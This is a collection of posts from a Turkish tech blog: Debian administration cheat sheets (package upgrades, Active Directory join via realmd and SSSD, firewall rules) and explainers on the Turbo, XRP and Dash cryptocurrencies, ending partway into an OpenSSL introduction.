"Distribution Upgrade"⛔ Öncelikle Repository'e yükseltilecek gerekli dağıtım eklenmelidir.⛔ Bu işlem dikkatlice planlanmalıdır.⛔ Sürüm yükseltmeleri potansiyel riskler içerir.⚠️ Dikkat Eğer Repository'e "gerekli dağıtım eklendiyse" #sudo apt upgrade komutu bile dağıtımı upgrade edecektir!⚠ #sudo apt upgrade --without-new-pkgs⚠ #sudo apt upgrade⚠ #sudo apt dist-upgrade⚠ #sudo apt full-upgrade⚠ #sudo apt --purge autoremove⚠ #sudo systemctl rebootlsb_release -a & uname -a#Yeni Paket Kurma:sudo apt install paket_adı#Paket Kaldırma:sudo apt remove paket_adısudo apt purge paket_adı#Repoyu Düzenle: Ekle - Kaldır:sudo nano /etc/apt/sources.listsudo apt update#GPG (GNU Privacy Guard) Anahtar Ekleme ve Güncelleme:#Güvenlik nedeniyle, bazı depolar anahtar kullanır.sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com ANAHTAR_ID#GPG anahtarını manual indirip eklemek:gpg --import ANAHTAR_ASC_DOSYASI🧩 Extensions:--------------------|sudo apt install gnome-shell-extension-manager💻 Dash to Dock:https://extensions.gnome.org/extension/307/dash-to-dock/💻 Dash to Panel:https://extensions.gnome.org/extension/1160/dash-to-panel/💻 Gtk4 Desktop Icons NG (DING)https://extensions.gnome.org/extension/5263/gtk4-desktop-icons-ng-ding/#Hostname and Hosts Conf.-------------------------|/etc/hosts/etc/hostname/etc/resolv.conf/etc/nsswitch.conf --- ## Debian Linux Cheat Sheet III [Active Directory Integration] Link: https://farukguler.com/posts/debian-linux-cheat-sheet-active-directory-integration/ 🔥🔑Directory Services Join / Authentication: Directory Services Join / Authentication:----------------------------------------|Directory Services: Active DirectoryOS: Debian GNU/Linux 12 (bookworm) x86_64Kernel: 6.1.0-14-amd64Shell: bash 5.2.15Domain: guler.comServer Ip: 10.x.x.xPrepare the Network-------------------------------------------------|UDP/TCP 135: Domain controller intercommunicationUDP 138; TCP 139: File Replication Service (FRS)UDP/TCP 389: Lightweight Directory Access Protocol (LDAP)UDP/TCP 636: Lightweight Directory Access Protocol (LDAP) TLS/SSL UDP/TCP 445: FRSUDP/TCP 464: Kerberos password changeTCP 3268,3269: Global catalog (GC)UDP/TCP 53: Domain Name System (DNS)#Setup Info:hostnamectlhostnamehostname --domainsudo cat /etc/resolv.conf #DNS FILEsudo cat /etc/hosts #HOST FILE #Required Packages #Required Packagessudo apt updatesudo apt upgradesudo apt -y install realmd libnss-sss libpam-sss sssd sssd-tools adcli samba-common-bin oddjob oddjob-mkhomedir packagekit#Active Directory Explore, Participate, Complete:sudo realm discover guler.com --verbosesudo realm join guler.comsudo realm join -U john guler.comsudo realm join -v guler.comsudo realm list#Time Synchronization (NTP)✅ Service: systemd-timesyncd services-----------------------------------------|sudo nano /etc/systemd/timesyncd.confsudo systemctl enable systemd-timesyncdsudo systemctl start systemd-timesyncdsudo systemctl status systemd-timesyncd#sssd.conf Edit-View:sudo cat /etc/sssd/sssd.confsudo nano /etc/sssd/sssd.confsudo systemctl restart sssdsystemctl status sssd***From the "sssd" configurations file:----------------------------------------------|+ The cache_credentials setting is set to True. Thus, a user can still log in even if the Active Directory is unavailable.+ The fallback_homedir is /home/%u@%d. For example, a user will have a home directory of /home/user@domain.+ The use_fully_qualified_names is set to True. As a result, users must log in using the format user@domain.----------------------------------------------|#(PAM) Pluggable Authentication Modules "configurations file" düzenle:sudo nano /etc/pam.d/common-session✅🛡️ Sistemde her userin "/Home/username" oluştur ve "özel" yetkilerini ver.session optional pam_mkhomedir.so skel=/etc/skel umask=0077#PAM(Pluggable Authentication Modules) (Spesifik) tekrar güncelle:sudo pam-auth-update📝🔑SSD Consider using SSL/TLS to encrypt LDAP traffic. -------------------------------------------------------|#SSSD.conf path:sudo nano /etc/sssd/sssd.conf#SSSD.conf Edit:[domain/guler.com]ldap_uri = ldaps://anatolia.guler.comldap_tls_reqcert = demandldap_tls_cacert = /etc/ssl/certs/ca-certificates.crt##LDAP Encryption SSL/TLS Remote Test #Status: Verify return code: 0 (ok)openssl s_client -connect anatolia.guler.com:636 -showcerts#SSSD Restart-Status:sudo systemctl restart sssdsudo systemctl status sssd#Login Verify:getent passwd ahmet.s@guler.comid ahmet.s@guler.com#User Login:sudo loginsu ahmet.s@guler.com#SSSD (System Security Services Daemon) yapılandır (Edit):sudo nano /etc/sssd/sssd.conf#SSSD nitelikli kullanıcı adları(fully qualified) kullan True - False:use_fully_qualified_names = False#SSSD servisini yeniden başlat:sudo systemctl restart sssd#SSSD'nin LDAP kullanıcı ve gruplarını UNIX kimlikleriyle eşleştir:#sudo nano /etc/sssd/sssd.conf#Add File:ldap_id_mapping = False #LDAP serverin kullanılabilirliğine bağımlı olmaldap_id_mapping = True #LDAP serverin kullanılabilirliğine bağımlı ol#SSSD (System Security Services Daemon) Cache Clear % Restartsudo rm -f /var/lib/sss/db/*sudo systemctl restart sssd✅🛡️ Access Control – User/group limitations:🛡️Kullanıcının SSH ve konsol aracılığıyla erişimine izin ver:sudo realm permit ahmet.s@guler.com#Allow/Deny access to group:sudo realm permit -g LinuxAdminssudo realm deny -g LinuxAdminssudo realm permit g 'Security Users'sudo realm permit -g 'Domain Users' 'admin users'sudo realm permit -g LinuxAdmins@guler.com#Tüm kullanıcılar/gruplar erişimine İzin ver - Reddet:sudo realm permit --allsudo realm deny --all#Sudo Erişimini Yapılandır:🛡️Varsayılan olarak Etki Alanı kullanıcılarının "root'a yükselme izni" yoktur.sudo nano /etc/sudoers.d/linux-admins#sudoers file Edit:sudo visudo#Add File:%LinuxAdmins@guler.com ALL=(ALL) ALLahmet.s@guler.com ALL=(ALL) ALL --- ## Debian Linux Setup/Conf. Cheat Sheet II Link: https://farukguler.com/posts/debian-linux-setup-conf-cheat-sheet-ii/ 🖧🌐 Network Configuration:-----------------------------|ip asystemctl status networking#systemctl restart networkingsudo systemctl status networking.service#sudo systemctl restart NetworkManager.service#sudo systemctl restart networking.service🏴‍☠️ File: sudo nano /etc/network/interfaces#DHCP--------------------------------|# The loopback network interface auto lo iface lo inet loopback#STATIC--------------------------------|# Primary network interface auto enp2s1 iface enp2s1 inet static address 10.5.10.44 netmask 255.255.255.0 gateway 10.5.10.1 dns-domain guler.com dns-nameservers 10.5.10.10 1.1.1.1 8.8.8.8✅🛡️ Firewall Management (UFW & GUFW):----------------------------------------|UFW:#sudo apt-get install ufwufw --helpsudo ufw statussudo ufw show addedsudo ufw enablesudo ufw disablesudo reload firewallsudo ufw disable && sudo ufw enable & sudo ufw reset #resetsudo ufw deny ssh #spesific servissudo ufw allow httpsudo ufw allow from 10.4.10.45 #allow-denysudo ufw deny 22/tcp #spesific portsudo ufw delete allow 8080 #delete rulesudo ufw allow 1000:2000/tcp #spesific port aralığısudo ufw default deny incoming #tüm gelenleri engellesudo ufw default allow outgoing #tüm gidenlere izin verGUFW:#sudo apt-get install gufwgufw>>> Default PortsMongoDB: 27017/tcpMySQL: 3306/tcpPostgres: 5432/tcpRedis: 6379/tcp🐛 "OpenLDAP" Configure Authentication--------------------------------------|............ .etc --- ## Turbo (TURBO) Nedir? 69 Dolarlık Bütçeyle Yaratılan "Yapay Zeka" Memecoin'i Link: https://farukguler.com/posts/turbo-coin-nedir/ Turbo (TURBO), Ethereum blockchain’i üzerinde çalışan, tamamen bir yapay zeka (AI) tarafından yönlendirilen bir sosyal deney olarak başlayan bir memecoin projesidir. Diğer memecoin’lerin aksine Turbo’nun bir teknolojik iddiası, karmaşık bir ekosistem vaadi veya kurumsal desteği yoktur. Onun tüm değeri, yaratılış hikayesinden gelir. Proje, dijital sanatçı Rhett Mankind tarafından, OpenAI’ın ChatGPT-4 modeline verilen talimatlarla ve sadece 69 Dolarlık bir başlangıç bütçesiyle yaratılmıştır. Turbo’nun varlık nedeni, “Sıfır kodlama bilgisine sahip bir kişi, sadece yapay zekanın yönlendirmesiyle başarılı bir kripto para yaratabilir mi?” sorusunu cevaplamaktı. Yaratılış Hikayesi: 69 Dolarlık “Yapay Zeka” Deneyi Turbo’nun tüm hikayesi, yaratıcısı Rhett Mankind tarafından sosyal medyada (özellikle X/Twitter) şeffaf bir şekilde paylaşılmış ve bu da projenin viral hale gelmesini sağlamıştır. Fikir (Prompt): Rhett Mankind, ChatGPT-4’e “69 dolarlık bir bütçeyle en başarılı yeni memecoin’i nasıl yaratırsın?” diye sordu. Konsept ve İsim: Yapay zeka, projenin adının “Turbo” olmasını, maskotunun ise retro-fütüristik bir “kurbağa” (veya dijital varlık) olmasını önerdi. Projenin felsefesini, topluluk odaklılığını ve tokenomi detaylarını da ChatGPT belirledi. Teknik Uygulama (Kodlama): Rhett, kodlama bilmediği için, ChatGPT’den bir ERC-20 token’ı için Solidity akıllı sözleşme kodunu yazmasını istedi. ChatGPT kodu yazdı; Rhett, bu kodu kopyalayıp Remix (Ethereum kod editörü) üzerinden Ethereum ağına dağıttı. Başarısız Lansman: 69 dolarlık bütçe, bir likidite havuzu oluşturmak için yeterli olmadı. İlk denemede, botlar tüm likiditeyi satın aldı ve proje neredeyse anında başarısız oldu. Şeffaflık ve Topluluk Desteği: Rhett, bu başarısızlığı ve tüm süreci X/Twitter’da anlattı. Yapay zeka ile bir coin yaratma deneyi ve yaratıcının bu şeffaflığı, kripto topluluğunun ilgisini çekti. Gerçek Lansman (Crowdfunding): Hikayeden etkilenen topluluk üyeleri, projenin düzgün bir şekilde başlatılması için bağış yaptı. Toplanan yaklaşık 6.900 dolarlık yeni bütçe ile (yine ChatGPT’nin yönlendirmesiyle) Uniswap’te kalıcı bir likidite havuzu oluşturuldu. Viral Patlama: “Tamamen AI tarafından yaratılan coin” anlatısı hızla yayıldı. Topluluk tarafından sahiplenilen proje, kısa sürede yüz milyonlarca dolarlık piyasa değerine ulaşarak en büyük memecoin’lerden biri haline geldi ve büyük merkezi borsalarda (CEX) listelendi. Turbo’yu Diğer Memecoin’lerden Ayıran Nedir? Turbo’nun teknolojisi, onun bir ERC-20 token’ı olmasından ibarettir. Onu özel kılan şey, teknik özellikleri değil, felsefi ve topluluksal özellikleridir: Yapay Zeka Kökeni: Kripto endüstrisinin iki büyük anlatısını (Meme ve AI) birleştiren ilk başarılı projedir. Tam Merkeziyetsiz Başlangıç: Arkasında bir risk sermayesi (VC) fonu, büyük bir pazarlama ekibi veya “balina” yatırımcılar yoktur. Tamamen organik ve topluluk tarafından büyütülmüştür. “Fair Launch” (Adil Lansman) Özellikleri: ChatGPT’nin yazdığı akıllı sözleşme, günümüz memecoin standartları için “mükemmel” kabul edilen özelliklere sahiptir: İşlem Vergisi Yok (No Tax): Alım veya satımlarda ekstra bir vergi kesintisi yoktur. Sözleşme Feshedildi (Contract Renounced): Yaratıcı (Rhett Mankind), akıllı sözleşmenin sahipliğinden feragat etmiştir. Bu, onun gelecekte kodu değiştiremeyeceği, yeni token basamayacağı (mint) veya kara liste (blacklist) gibi manipülatif fonksiyonları çalıştıramayacağı anlamına gelir. Güvenlik tamamen kilitlenmiştir. TURBO Token’ı Ne İşe Yarar? (Tokenomi) TURBO, Ethereum (ERC-20) ağı üzerinde çalışan bir tokendır. Maksimum Arz: Projenin başlangıç bütçesine bir gönderme olarak 69 Milyar (69,000,000,000) TURBO ile sınırlandırılmıştır. İşlevi (Utility): TURBO’nun teknik bir işlevi veya kullanım alanı yoktur. Memetik Değer (Meme): Değerinin tamamı, “AI tarafından yaratılan ilk memecoin” olma hikayesinden ve bu hikayenin ne kadar güçlü kalacağından gelir. Topluluk ve Kültür: TURBO sahibi olmak, bu benzersiz sosyal deneyin bir parçası olmayı temsil eder. Spekülasyon: Yatırımcılar, bu güçlü anlatının gelecekte daha fazla insanı çekeceği beklentisiyle alım/satım yaparlar. Sonuç Turbo (TURBO), bir blockchain protokolü veya bir DeFi uygulaması değildir; o, bir performans sanatı, bir sosyal deney ve bir kültür token’ıdır. Değeri, teknolojisinden değil, hikayesinden (narrative) gelir. Proje, kripto para piyasalarında güçlü, şeffaf ve ilişkilendirilebilir bir hikayenin, karmaşık bir teknolojiden (en azından kısa vadede) çok daha güçlü bir değer yaratabileceğini kanıtlamıştır. Aynı zamanda, yapay zekanın sadece içerik üretmekle kalmayıp, karmaşık finansal varlıklar yaratma sürecini de demokratikleştirebileceğini gösteren ilk başarılı örnek olmuştur. --- ## Ripple Labs XRP Nedir? Bankacılık için Tasarlanan Dijital Varlık ve Ripple Ekosistemi Link: https://farukguler.com/posts/xrp-ripple.nedir/ XRP, XRP Ledger (XRPL) adı verilen açık kaynaklı, merkeziyetsiz bir dağıtık defter teknolojisinin (DLT) yerel (native) dijital varlığıdır. 2012 yılında (Bitcoin’den sonra) piyasaya sürülen XRP’nin temel amacı, geleneksel uluslararası para transferi sistemlerine (özellikle SWIFT) hızlı, ucuz ve ölçeklenebilir bir alternatif sunmaktır. XRP Ledger ve XRP token’ı, başlangıçta OpenCoin (daha sonra Ripple Labs, şimdi sadece Ripple) olarak bilinen özel bir şirketle yakından ilişkili olarak geliştirilmiştir. Bu yakın ilişki, projenin hem en büyük gücü hem de en çok eleştirilen yönü olmuştur. XRP’nin odak noktası, Bitcoin veya Ethereum’dan farklı olarak, öncelikle bankalar, ödeme sağlayıcıları ve diğer finans kurumları arasındaki sınır ötesi ödemeleri ve likidite yönetimini kolaylaştırmaktır. XRP’nin Çözdüğü Problem: SWIFT ve Nostro/Vostro Hesapları Geleneksel uluslararası para transferleri (örn. SWIFT sistemi), genellikle şu sorunlarla boğuşur: Yavaşlık: Bir transferin tamamlanması günler sürebilir. Yüksek Maliyetler: Aracı bankalar ve döviz kuru dönüşümleri nedeniyle ücretler yüksektir. Likidite Sorunları (Nostro/Vostro): Bankaların, farklı ülkelerde farklı para birimlerinde önceden finanse edilmiş hesaplar (nostro/vostro) tutması gerekir. Bu, büyük miktarda sermayenin “kilitli” kalmasına neden olur. Ripple ve XRP Ledger, bu sürtünmeleri ortadan kaldırmayı hedefler. XRP Ledger (XRPL) Nasıl Çalışır? (Blockchain Değil, DLT) XRPL, Bitcoin veya Ethereum gibi geleneksel bir “blockchain” değildir. İşlemleri doğrulamak için Proof-of-Work (PoW) veya Proof-of-Stake (PoS) kullanmaz. Bunun yerine, Ripple Protokol Konsensüs Algoritması (RPCA) adı verilen benzersiz bir federated konsensüs mekanizması kullanır. 1. Konsensüs Mekanizması (RPCA ve UNL) Doğrulayıcılar (Validators): Ağı güvence altına alan ve işlemleri doğrulayan sunuculardır. Herkes bir doğrulayıcı çalıştırabilir. Unique Node List (UNL - Benzersiz Düğüm Listesi): Her doğrulayıcı, güvendiği diğer doğrulayıcılardan oluşan kendi listesini (UNL) tutar. Ağın genel konsensüse ulaşması için, bir doğrulayıcının UNL’sindeki %80’lik bir süper çoğunluğun aynı işlem kümesi üzerinde anlaşması gerekir. Hız ve Verimlilik: Bu model, PoW’un enerji israfı veya PoS’un sermaye kilitlemesi olmadan çalışır. Bu sayede XRPL, işlemleri 3-5 saniye içinde kesinleştirebilir (finality) ve saniyede binlerce işlemi (1500+ TPS) yönetebilir. Merkeziyetsizlik Tartışması: Bu UNL yapısı, ağın ne kadar “merkeziyetsiz” olduğu konusunda en büyük eleştiri kaynağıdır. Ripple’ın, varsayılan UNL listeleri üzerindeki etkisi ve doğrulayıcıların seçim süreci tartışmalıdır. 2. Yerleşik Merkeziyetsiz Borsa (DEX) XRPL, protokolün çekirdeğine gömülü, tamamen işlevsel bir merkeziyetsiz borsaya (DEX) sahiptir. Bu, kullanıcıların herhangi bir aracı olmadan doğrudan defter üzerinde XRP veya diğer ihraç edilmiş varlıkları (IOU’lar) takas etmelerine olanak tanır. XRP Token’ı Ne İşe Yarar? (Köprü Para Birimi ve Ücretler) XRP, XRPL ağının merkezindeki dijital varlıktır ve iki temel işleve sahiptir: Köprü Para Birimi (Bridge Currency): XRP’nin birincil tasarım amacı, farklı itibari para birimleri arasında anında ve ucuz bir köprü görevi görmektir. Örnek: ABD’deki bir banka Meksika’daki bir bankaya para göndermek istediğinde, geleneksel yollar yerine şunu yapabilir: USD’yi XRP’ye çevirir → XRP’yi saniyeler içinde Meksika’daki bankaya gönderir → Meksika’daki banka XRP’yi anında Meksika Pezosu’na (MXN) çevirir. Bu süreç, nostro/vostro hesaplarına olan ihtiyacı ortadan kaldırır ve likiditeyi serbest bırakır. Ripple’ın On-Demand Liquidity (ODL - Talep Üzerine Likidite) ürünü bu mekanizmayı kullanır. İşlem Ücretleri ve Spam Koruması (Deflasyonist Mekanizma): XRPL üzerindeki her işlem (transfer, DEX emri vb.), çok küçük bir miktar XRP işlem ücreti gerektirir (genellikle bir kuruşun kesirleri kadar). Bu ücret, ağı kötü niyetli spam saldırılarından korumak için vardır. En önemli nokta: Ödenen bu işlem ücreti yakılır (BURN) ve kalıcı olarak dolaşımdan kaldırılır. Bu, XRP’yi doğası gereği deflasyonist bir varlık yapar (zamanla toplam arz azalır). Ayrıca, her XRPL cüzdanının aktif olması için 10 XRP‘lik (eski 20 XRP) küçük bir rezerv tutması gerekir. Bu da spam cüzdan oluşturmayı engeller. Tokenomi: Önceden Çıkarılmış Arz ve Ripple’ın Rolü XRP’nin tokenomiği, Bitcoin ve Ethereum’dan kökten farklıdır ve en çok eleştirilen yönlerinden biridir: Maksimum Arz (Önceden Çıkarılmış): Ağın başlangıcında 100 Milyar adet XRP yaratılmıştır. Yeni XRP madencilik veya staking yoluyla üretilmez. Ripple’ın Sahipliği: Bu 100 Milyar XRP’nin büyük bir kısmı başlangıçta Ripple şirketine ve kurucularına tahsis edilmiştir. Ripple, hala arzın önemli bir bölümünü elinde tutmaktadır. Escrow (Emanet Hesap): Piyasadaki arzı kontrol altında tutmak ve ani satışları önlemek amacıyla Ripple, elindeki XRP’lerin büyük bir kısmını kriptografik olarak güvence altına alınmış emanet hesaplara (escrow) kilitlemiştir. Bu hesaplardan her ay belirli bir miktar XRP serbest bırakılır (ve genellikle bir kısmı satılır, kalanı tekrar kilitlenir). Bu yapı, XRP’nin fiyatı üzerinde Ripple şirketinin aşırı bir etkiye sahip olabileceği endişelerini beraberinde getirmiştir. Ripple vs. XRP Ayrımı Bu ikisi genellikle karıştırılır: Ripple: XRP Ledger’ın geliştirilmesine öncülük eden ve XRPL teknolojisini kullanarak bankalara ve finans kurumlarına yazılım çözümleri (ODL, RippleNet vb.) sunan özel bir şirkettir. XRP: XRP Ledger ağının yerel dijital varlığıdır. XRPL açık kaynaklıdır ve Ripple şirketi olmadan da var olabilir (teorik olarak). SEC Davası ve Hukuki Belirsizlik Aralık 2020’de, ABD Menkul Kıymetler ve Borsa Komisyonu (SEC), Ripple Labs ve yöneticilerine karşı, XRP’nin kayıt dışı bir menkul kıymet olarak satıldığı iddiasıyla dava açmıştır. Bu dava, yıllardır devam etmekte ve kripto endüstrisi için bir dönüm noktası niteliğindedir. Davanın sonucu (XRP’nin bir menkul kıymet olup olmadığı), hem XRP’nin geleceği hem de ABD’deki diğer kripto paraların yasal statüsü üzerinde büyük bir etkiye sahip olacaktır. Mahkeme, Temmuz 2023’te XRP’nin borsalarda bireysel yatırımcılara satışının menkul kıymet satışı olmadığına, ancak kurumsal yatırımcılara doğrudan satışının menkul kıymet satışı olduğuna dair karmaşık bir karar vermiştir, ancak dava ve temyiz süreci devam etmektedir. Sonuç XRP, özellikle uluslararası ödemeler ve bankalar arası transferler alanında devrim yaratma potansiyeliyle ortaya çıkmış, teknik olarak son derece hızlı ve verimli bir dijital varlıktır. XRP Ledger’ın saniyeler içindeki işlem kesinliği ve neredeyse sıfır maliyeti, onu geleneksel sistemlere karşı güçlü bir rakip yapmaktadır. Ancak, Ripple şirketiyle olan yakın ilişkisi, önceden çıkarılmış ve büyük ölçüde şirket tarafından kontrol edilen arzı ve en önemlisi SEC ile devam eden hukuki mücadelesi, projenin geleceği üzerinde önemli belirsizlikler yaratmaktadır. --- ## Dash Nedir? Masternode ve DAO ile Güçlenen Dijital Nakit Link: https://farukguler.com/posts/dash-nedir/ Dash (DASH), “Dijital Nakit” (Digital Cash) mottosuyla yola çıkan, anlık ve gizli işlemlere odaklanmış, merkeziyetsiz bir ödeme ağı ve kripto para birimidir. 2014 yılında Bitcoin kod tabanından (Litecoin forku olarak) “XCoin” adıyla doğmuş, kısa bir süre sonra “Darkcoin” olarak yeniden markalanmış ve son olarak 2015 yılında “Dash” adını almıştır. Dash’in temel amacı, Bitcoin’in ölçeklenebilirlik ve hız sorunlarını aşarak, hem çevrimiçi hem de fiziksel satış noktalarında (POS) kullanılabilecek, kullanımı kolay, hızlı ve düşük maliyetli bir dijital nakit alternatifi sunmaktır. Bunu başarmak için Dash, Bitcoin’den farklı olarak iki katmanlı (two-tier) bir ağ mimarisi ve kendi kendini finanse eden merkeziyetsiz bir otonom organizasyon (DAO) modeli geliştirmiştir. Dash’in Benzersiz Mimarisi: Masternode Ağı Bitcoin’in (ve birçok kripto paranın) aksine, Dash’in ağı iki farklı katmandan oluşur. Katman 1: Proof-of-Work (PoW) Madencileri Bu katman, Bitcoin’e benzer şekilde çalışır. Madenciler, X11 adı verilen bir karma algoritması kullanarak işlemleri doğrular ve yeni bloklar oluşturarak ağı güvence altına alırlar. Bu katman, ağın temel güvenliğini ve değişmezliğini sağlar. Katman 2: Proof-of-Service (PoSe) Masternode’ları Dash’in asıl inovasyonu bu katmandadır. Masternode’lar, ağa özel hizmetler sunan güçlü sunuculardır (full node’lardır). Bir Masternode çalıştırabilmek için, operatörün 1.000 DASH token’ını teminat olarak kilitlemesi gerekir. Bu 1.000 DASH’lık teminat, Masternode sahibinin ağın yararına çalışmasını garanti altına alır (kötü niyetli davranışlar ödülleri kaybetmelerine yol açar). Masternode’lar, ağın omurgasını oluşturur ve aşağıdaki kritik özellikleri mümkün kılar: Dash’in Kilit Özellikleri Masternode ağı sayesinde Dash, standart kripto paraların sunamadığı iki temel özelliği sunar: 1. InstantSend (Anlık Transferler) Geleneksel blockchain’lerde bir işlemin “kesinleşmesi” için birden fazla blok onayı (örn. Bitcoin’de 10-60 dakika) beklenmesi gerekir. Bu durum, bir kahve alırken kullanmak için elverişsizdir. InstantSend, bu sorunu çözer. Bir InstantSend işlemi yapıldığında, Masternode ağından küçük bir grup (quorom) bu işlemi saniyeler içinde “kilitler”. Bu kilitleme, işlemin henüz bir bloğa yazılmamış olsa bile geri döndürülemez (çifte harcamaya karşı korumalı) olduğunu garanti eder. Bu sayede, fiziksel mağazalarda 1-2 saniye içinde ödeme onayı alınabilir. 2. CoinJoin (İsteğe Bağlı Gizlilik) Dash, kullanıcılara isteğe bağlı bir gizlilik özelliği sunar. CoinJoin (eski adıyla PrivateSend), bir gizlilik protokolüdür. Kullanıcı bu özelliği etkinleştirdiğinde, Dash’leri Masternode’lar aracılığıyla otomatik bir karıştırma (mixing) sürecine girer. Masternode’lar, birden fazla kullanıcıdan gelen fonları alır, bunları standart birimlere (örn. 10, 1, 0.1 DASH) böler, karıştırır ve yeni adreslere dağıtır. Bu süreç, fonların orijinal kaynağını ve hedefini takip etmeyi son derece zorlaştırarak işlem geçmişini gizler. Dash DAO: Kendi Kendini Finanse Eden Hazine Dash’in en devrimci ve en kalıcı yönlerinden biri, sürdürülebilir bir geliştirme ve pazarlama bütçesi yaratmış olmasıdır. Bitcoin’de blok ödülünün %100’ü madencilere giderken, Dash’te blok ödülü üçe bölünür. (Not: Bu yüzdeler, Dash Core v19 güncellemesiyle 2023 yılında güncellenmiştir): %60 → Masternode’lar: İkinci katman hizmetlerini sundukları ve 1.000 DASH teminat kilitledikleri için ödülün en büyük payını alırlar. %20 → Merkeziyetsiz Hazine (DAO): Bu pay, doğrudan ağın kontrolündeki bir “hazine” fonuna aktarılır. %20 → Madenciler: Ağı güvence altına aldıkları için ödüllendirilirler. Hazine Nasıl Çalışır? Her ay, topluluktan herkes (geliştiriciler, pazarlamacılar, araştırmacılar) hazineden fon almak için projeler önerebilir. Bu projeler, tüm Masternode sahipleri tarafından oylanır. Eğer bir proje (örn. “Yeni bir mobil cüzdan geliştirmek” veya “Belirli bir bölgede Dash’i tanıtmak için reklam kampanyası yapmak”) yeterli “EVET” oyu alırsa, hazineden otomatik olarak fonlanır. Yeterli oyu alamazsa fonlanmaz. Bu sistem, Dash’i dünyanın ilk Merkeziyetsiz Otonom Organizasyonlarından (DAO) biri yapar. Ağ, gelişimini ve büyümesini finanse etmek için dışarıdan bağışlara veya merkezi bir şirkete bağımlı değildir. Tokenomisi, Arzı ve Pazardaki Mevcut Konumu Token Arzı ve Ekonomisi Maksimum Arz: Tıpkı Bitcoin gibi, Dash de sert bir arza sahiptir ancak bu sınır ~18.9 Milyon DASH civarındadır. Emisyon Programı: Dash, Bitcoin’in 4 yıllık “halving” (yarılanma) modelini kullanmaz. Bunun yerine, emisyon oranı her yıl %7.14 oranında azaltılır. Bu, daha yumuşak ve daha öngörülebilir bir enflasyon düşüşü sağlar. Ekonomik Teşvik: Blok ödüllerinin %60’ının 1.000 DASH kilitleyen Masternode’lara gitmesi, token üzerinde güçlü bir staking (kilitleme) teşviki yaratır. Bu, dolaşımdaki arzı azaltır ve ağın ikinci katmanını güvence altına alır. Gelecek Beklentisi: Güçlü Miras, Zorlu Gerçekler Dash’in geleceği, onun öncü mirasını günümüzün rekabetçi pazarında nasıl konumlandırdığına bağlıdır. 1. Projenin Güçlü Yanları: Kanıtlanmış DAO Modeli: Dash Hazinesi, 10 yıla yakın bir süredir proje geliştirmeyi (Dash Core cüzdanı, DashPay vb.) başarıyla fonlayan, kripto dünyasının en eski ve en dayanıklı DAO modelidir. Güçlü Altyapı: İki katmanlı Masternode ağı, on binlerce düğümle desteklenen, hızlı ve sağlam bir altyapı sunar. 2. Projenin Önündeki Engeller: “Gizlilik Coini” Damgası ve Borsa Delistleri: Dash’in CoinJoin özelliği, yenilikçi olmasına rağmen, regülatörlerin dikkatini çekmiştir. Bu durum, “gizlilik coini” olarak etiketlenmesine ve Binance (Avrupa), OKX, Bittrex gibi dünyanın en büyük borsalarının çoğundan kaldırılmasına (delist edilmesine) yol açmıştır. Bu, projenin likiditesini ve yeni yatırımcılara erişimini ciddi şekilde kısıtlayan en büyük engelidir. “Dijital Nakit” Pazarındaki Yoğun Rekabet: 2014 yılında Dash “Bitcoin’den hızlı” olduğu için devrimciydi. Bugün ise bu değer önerisi büyük ölçüde aşınmış durumda. Bitcoin’in Lightning Network’ü, Solana gibi yüksek hızlı L1’ler, Arbitrum/Optimism gibi L2’ler ve özellikle Stabilcoinler (USDC, USDT), “anlık ve ucuz ödemeler” konusunda Dash’ten çok daha hızlı, daha ucuz ve daha popüler çözümler sunmaktadır. Sonsöz Dash, basit bir Bitcoin kopyası olmanın çok ötesinde, Masternode ağı ve kendi kendini finanse eden DAO modeli ile kripto para dünyasında pek çok yeniliğe öncülük etmiş tarihi bir projedir. Ancak, bir zamanlar onu benzersiz kılan “anlık transfer” ve “isteğe bağlı gizlilik” özellikleri, bugün sırasıyla daha hızlı rakipler ve regülasyon baskıları ile karşı karşıyadır. Dash’in gelecekteki başarısı, merkeziyetsiz hazinesinin, projeyi bu zorlu rekabet ortamında (L2’ler ve stabilcoinler dünyasında) yeniden ilgili kılacak ve borsa erişim sorununu aşacak stratejileri finanse edip edemeyeceğine bağlıdır. --- ## What is OpenSSL ? - Olaf ile OpenSSL Üzerine Link: https://farukguler.com/posts/what-is-openssl-and-how-is-it-used-interview-with-olaf/ Selam dostlar, bugün Olaf ile eğlenceli bir OpenSSL macerasına çıkıyoruz! 🚀 OpenSSL, güvenli iletişim dünyasında süper kahramanımız olacak. Olaf'ın neşeli rehberliğinde, verilerimizi ve iletişimimizi korumanın, şenlendirmenin yollarını keşfedeceğiz. Hadi birlikte bu heyecan verici yolculuğa başlayalım... 🌟 ✍ OpenSSL Nedir? OpenSSL, Açık kaynaklı bir kriptografi kütüphanesidir ve kriptografik işlemleri gerçekleştirmek için kullanılan bir yazılımdır. OpenSSL, güvenli iletişim sağlamak, verileri şifrelemek, dijital sertifikaları oluşturmak ve doğrulamak gibi birçok kriptografik işlemi destekler. İşletim sistemleri üzerinde geniş çapta kullanılabilir ve SSL/TLS protokollerinin uygulanmasında sıkça tercih edilir. SSL (Secure Sockets Layer) ve TLS (Transport Layer Security) gibi popüler güvenlik protokollerini destekler. OpenSSL, halka açık anahtarlı şifreleme (asimetrik şifreleme), simetrik şifreleme, karma (hash) fonksiyonları ve dijital imzalama gibi kriptografik algoritmaları içerir. Bu algoritmalar, güvenli iletişim, veri bütünlüğü ve kimlik doğrulama gibi güvenlik amaçlarına hizmet eder. OpenSSL ayrıca X.509 sertifikalarını oluşturma, yönetme ve doğrulama işlemlerini de destekler. OpenSSL'in kullanımı çok yönlüdür. Bir komut satırı arayüzü (CLI) sağlar ve bir dizi komutla kriptografik işlemler gerçekleştirmenize olanak tanır. OpenSSL ayrıca bir programlama arayüzü (API) sunar ve C dilinde yazılan uygulamalara kriptografik işlevlerin entegrasyonunu kolaylaştırır. Bu sayede geliştiriciler, OpenSSL'i kullanarak güvenli uygulamalar oluşturabilir ve kriptografik işlemleri programlarına entegre edebilir. 📜 OpenSSL'in temel yetenekleri nelerdir? SSL/TLS İletişimi: OpenSSL, güvenli iletişim sağlamak için SSL/TLS protokollerini destekler. Bu, sunucu ve istemci arasında şifreli bir kanal oluşturarak veri güvenliğini sağlar. Kriptografik Algoritmalar: OpenSSL, simetrik şifreleme algoritmaları (örneğin AES), halka açık anahtarlı şifreleme algoritmaları (örneğin RSA), karma fonksiyonları (örneğin SHA) ve dijital imza algoritmaları (örneğin ECDSA) dahil olmak üzere bir dizi kriptografik algoritmayı destekler. Sertifika İşlemleri: OpenSSL, X.509 sertifikalarının oluşturulması, yönetimi ve doğrulaması için işlevler sağlar. Bu, dijital 